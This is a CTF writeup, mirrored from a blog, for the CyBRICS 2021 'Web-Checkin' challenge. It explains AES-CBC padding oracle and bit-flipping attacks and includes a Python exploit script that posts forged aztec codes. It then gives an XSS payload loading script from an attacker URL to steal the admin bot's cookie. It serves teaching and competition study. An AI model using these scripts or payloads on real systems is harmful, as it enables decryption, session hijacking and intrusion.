Writeup for Web-Checkin in CyBRICS CTF 2021 (Mirror)

  1. 1. TL;DR
  2. 2. Reconnaissance
  3. 3. Padding Oracle Attack
  4. 4. Recovering the Entire Plaintext
  5. 5. Arbitrary Plaintext Encryption
  6. 6. The XSS Part

This is the fork of my friend’s blog: https://blog.soreatu.com/posts/writeup-for-web-checkin-in-cybrics-ctf-2021/. We have worked together for two days to solve the hardest web CheckIn in the CybricsCTF 2021. It is nearly a crypto challenge but I think it deserves a writeup.



Padding Oracle Attack + Bit Flip Attack + XSS

This is a hard web challenge in CyBRICS CTF 2021. For some reason, the challenge was ZERO solved during the competition. The author fixed some bug after the competition and announced that anyone who can solve it would receive a reward. We managed to solve it and was one of the only two teams that claimed the reward.


This challenge simulates a flight booking site, where we can search for flight tickets, buy tickets, and upload tickets to be registered.

By submitting a form on, we will receive a aztec code, which embeds a piece of base64-encoded data.

We can upload the aztec code through, and get a successful “you are now registered“ response (but this’s not what we want).

Later, we found something interesting after changing some byte of the base64-encoded data. We got a *”PADDING_ERROR”* response by modifying some byte of the data. It immediately occurred to us that this might well be an instance of padding oracle attack.

To confirm the intuition we just developed, we generated a aztec code, base64 decoded it into ciphertext, XORed every 256 possible byte value (0~256) in the last byte of the second last ciphertext block, base64 encoded back to a aztec code (utilizing python aztec_code_generator module), and uploaded the aztec code to the server. We received 256 responses, 255 of whose status code is 200, with only one response whose status code is 500. Among the 255 responses, XORing by b"\x00" in the last byte got a “Success“ reponse and the remaining 254 are all “PADDING_ERROR” responses. This implied that only the “Success“ response one and the 500 status code one got correctly padded plaintext after decryption on the server side. The “Success“ response was due to it’s the original unmodified padded plaintext, while the 500 status code one was because the plaintext after decryption was somewhat modified to be correctly padded and we can gain knowledge of the last byte of the original plaintext by making use of this.

By continously sending carefully modified ciphertext to the server and then distinguishing whether or not the server responses with “PADDING_ERROR“, we can recover the whole plaintext byte by byte. This is the so-called padding oracle attack.

Padding Oracle Attack

So, how does the padding oracle attack work?

First, we need to understand what is padding.

It is known that block ciphers can transform (encrypt/decrypt) a plaintext/ciphertext block. 16 bytes data in the case of AES, into a ciphertext/plaintext block. Using some block cipher mode of operation, we can repeatedly apply the block cipher encrypting/decrypting operation on amouts of data whose length is more than a block. For example, AES-CBC mode can encrypt/decrypt multiple blocks. But what if the length of data is not a multiple of the block length? The answer is to use some kind of padding methods, which append some data at the end of the last block to make it a full block.

One of the most widely used padding method is PKCS#7 padding method. PKCS#7 first calculates the number of bytes ( pad_length) to be padded, and then appends to the last plaintext block pad_length bytes, with each byte value being pad_length. Upon unpadding, the last byte of the decryption result is extracted and parsed as the pad_length, after which pad_length long bytes are truncated at the end. Below is a Python implementation of PKCS#7 padding and unpadding.

def pad(pt):
pad_length = 16 - len(pt)%16
pt += bytes([pad_length]) * pad_length
return pt

def unpad(pt):
pad_length = pt[-1]
if not 1 <= pad_length <= 16:
return None
if pad(pt[:-pad_length]) != pt:
return None
return pt[:-pad_length]

Note that a valid padding check is done after unpadding. This means that only the following 16 formats of the last block is considered as valid. All the other formats of data are invalid and will produce a PADDING_ERROR response, which is a padding oracle that we will exploit later.

Another point to be noted is that, even if the length of plaintext is a multiple of the block size, padding is still needed. In this case, 0x10 bytes will be appended, with each byte value being \x10.


Before moving on, we also need to be fimilar with AES-CBC, which is the most common mode that padding oracle attack can be mounted on.

In CBC mode, plaintext is padded and divided into several plaintext blocks. Each plaintext block is XORed with the previous ciphertext block before being AES encrypted. The first plaintext block is XORed with a randomly generated initializaiton vector (IV). The final encryption result is the concatenation of the ciphertext blocks with IV at the head. Decryption just reverses these operations.


One significant drawback of AES-CBC is that it does not solely provide intergrity protection. In other words, the attacker can modify the ciphertext (such as bit flipping) and send the modified ciphertext to the server without being noticed. This gives way to the padding oracle attack.

Now, we can dive into the very details on how the padding oracle works.

Suppose the attack has possession of a ciphertext which can be divided into an IV and 3 ciphertext blocks c1, c2, c3 . The purpose of the attacker is to decrypt the last ciphertext block c3.

The attacker changes the last byte of c2 (XORed with some value), and then send it to the server. The server responses with either a “PADDING_ERROR“ response or a 500 status code reponse. If we gets a 500 status code response, we succeed. This implies that the unpadding check is passed, and the last plaintext block MUST end with b"\x01, one of the 16 valid padding format.


After recovering the last byte, we can move on to decrypt all the previous bytes of the last plaintext block. For example, to decrypt the second last byte, we can utilize the b"\x02\x02" padding format. Since we already have had knowledge of the last byte of plaintext, we can modify the last byte into any value we want by XOR something in c2. At present, what we want is to make the last byte be b"\x02", we XOR the last byte of c2 with the last byte of plaintext to cancel it into b"\x00", then XOR in b"\x02", resulting to b"\x02". Then, try every 255 possible byte value guess_byte XOR b"\x02" (except b"\x00") to XOR with the last second byte of c2, and send the modified ciphertext to the padding oracle until a 500 status code response, thus recovering the second last plaintext byte, which is exactly guess_byte.

The following is the Python code that can be used to, given ciphertext, recover the last plaintext block.

import requests
import base64

import aztec_code_generator

# padding_oracle recovers the last 16 plaintext bytes of the given ciphertext
def padding_oracle(cipher):
plaintext = b""
for index in range(1, 17):
print(f"[*] index: {index}")
for byte in range(0, 256):
bytes_xor = b"\x00"*(16-index)+bytes([byte^index])+xor(plaintext,bytes([index]*(index-1)))
new_cipher = cipher[:-32] + xor(cipher[-32:-16], bytes_xor) + cipher[-16:]

b64data = base64.b64encode(new_cipher)
code = aztec_code_generator.AztecCode(b64data)
code.save(f"./pics/{byte}.png", module_size=4)

f = open(f"./pics/{byte}.png", "rb").read()
paramsMultipart = [('file', ('1.png', f, 'application/png'))]
response = session.post("", files=paramsMultipart)

if response.status_code == 200:
body = response.content.split(b'<div class="content__i">')[1].split(b"div")[0]

if b"PADDING" in response.content:
print(f"[{byte:>3d}] Status code: {response.status_code}, PADDING ERROR")
print(f"[{byte:>3d}] Status code: {response.status_code}, {body}")
else: # response.status_code == 500
print(f"[{byte:>3d}] Status code: {response.status_code}")
plaintext = bytes([byte]) + plaintext
print(f"plaintext: {plaintext}")
return plaintext

Recovering the Entire Plaintext

By exploting the padding oracle, we are enabled to decrypt the last plaintext block byte by byte. Can we go any further? The answer is yes.

Once we have recovered the last plaintext block, we can drop the last ciphertext block, and continue to exploit the padding oracle to recover the second last plaintext block. Keep doing this, and we will recover all the plaintext blocks, namely the entire plaintext.

In practice, we implemented the attack and succssfully recovered the entire plaintext, which was a json formatted data.

b'{"name": "12321", "surname": "123", "middle": "1", "time": "2021-07-26 13:37:00", "dest": "", "dep": "", "flight": "BLZH1337"}\x02\x02'

At this point, we got to know how the server side might process the uploaded aztec code. After receiving the code, the server decoded it into ciphertext, decrypted the ciphertext, and unpadded the decryption result. If something wrong happened during unpadding, the server replied with a “PADDING_ERROR“ response. After unpadding, the plaintext was then unmarshaled into an object (by something like JSON.parse()). If any error occurred, the server replied with a 500 status code response. The server would send back us a “Success” response if everything’s ok.

Arbitrary Plaintext Encryption

Recovering the entire plaintext is not enough to solve this challenge. We can go more further to craft the ciphertext of arbitrary plaintext that we want.

To achieve this goal, we need to combine bit flip attack with the padding oracle attack. Bit flip attack enables us to change the plaintext into what we want, and the padding oracle attack functions as a decryption oracle to help us decrypt any ciphertext.

Say the ciphertext IV || c1 || c2 || c3 decrypts into p1 || p2 || p3, and we want to get the ciphertext of p1' || p2' || p3.


We first XOR c1 with p2 XOR p2' to get c1'. In this way, IV || c1' || c2 || c3 will be decrypted into junk || p2' || p3.


The nasty junk block consists of random byte values, which is unknown to us, and the decryption result cannot be parsed correctly by JSON.parse(). What we can do with it? Remember the padding oracle attack to recover the last plaintext block? Yes, we can reuse the padding oracle attack to recover the junk block. After that, we XOR IV with junk XOR p1' to get a new IV'. In this way, IV' || c1' || c2 || c3 will be decrypted into p1' || p2' || p3, which is exactly we want!


The XSS Part

So we could encrypt what we want now. What should we do next? According to the description of the challenge, we have to go and get the content of the central surveillance system to get the information of Mr.Flag Flagger. But how?

Let’s take a look at the json. There may be a bot in the backend use JSON.parse() to parse the json and some method to render a page with these json data. For example, res.render("render.html", name=json.name, surname=json.surname). So we could try to inject a XSS vector into the plaintext, encrypt it and then send the payload to the bot through the upload API.

But, at first we need to understand the correspondence between API parameters and JSON parameters. After do a test, we generate a ciphertext through the /finalize API and decrypt the ciphertext to get the correspondence.



b'{"name": "2", "surname": "1", "middle": "4", "time": "2021-07-26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}'

Okay. But which one we should inject the XSS vector? You could try one by one but I think there is a hint in the source code of the challenge.

<h2>Passenger data</h2>

It looks like the Name is what we want. So we should craft a payload like this.

{"name": "<script src=http://your_url/?2></script>", "surname": "1", "middle": "4", "time": "2021-07-26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}

When we generate the ciphertext, we first need to generate a cipher whose the length of the name parameter is the same length as the name parameter in the XSS payload we constructed. In this exmaple, the name is <script src=http://your_url/?2></script> and its length is 40. Therefore, we should generate a ciphertext with a name of length 40 through the /finalize API. And we’d better leave the other parameters as default values.


b'{"name": "0000000000000000000000000000000000000000", "surname": "1", "middle": "4", "time": "2021-07-26 13:37:00", "dest": "5", "dep": "3", "flight": "BLZH1337"}'

After we get the ciphertext, we need to change the plaintext of the ciphertext using padding oracle and bit flipping. And then use base64 and aztec code to encode the ciphertext and upload the aztec code. At last, XSS fires!

Now, we get the admin’s cookie and the source code of the admin’s page. After having used the cookie to visit the page as admin, we found the page only had a search function. I thought I needed to do SQL injection to get the flag. But at last, we just searched ‘Flagger’ as described in the challenge and got the flag.

Thanks for your reading. Hope you like the writeup! XD

Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2021/08/02/cybrics-checkin-2021/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

Ad: I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: https://blog.zeddyu.info/advertisement/

Ad: 想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情

Two Webs' Writeup in Google CTF Quals 2021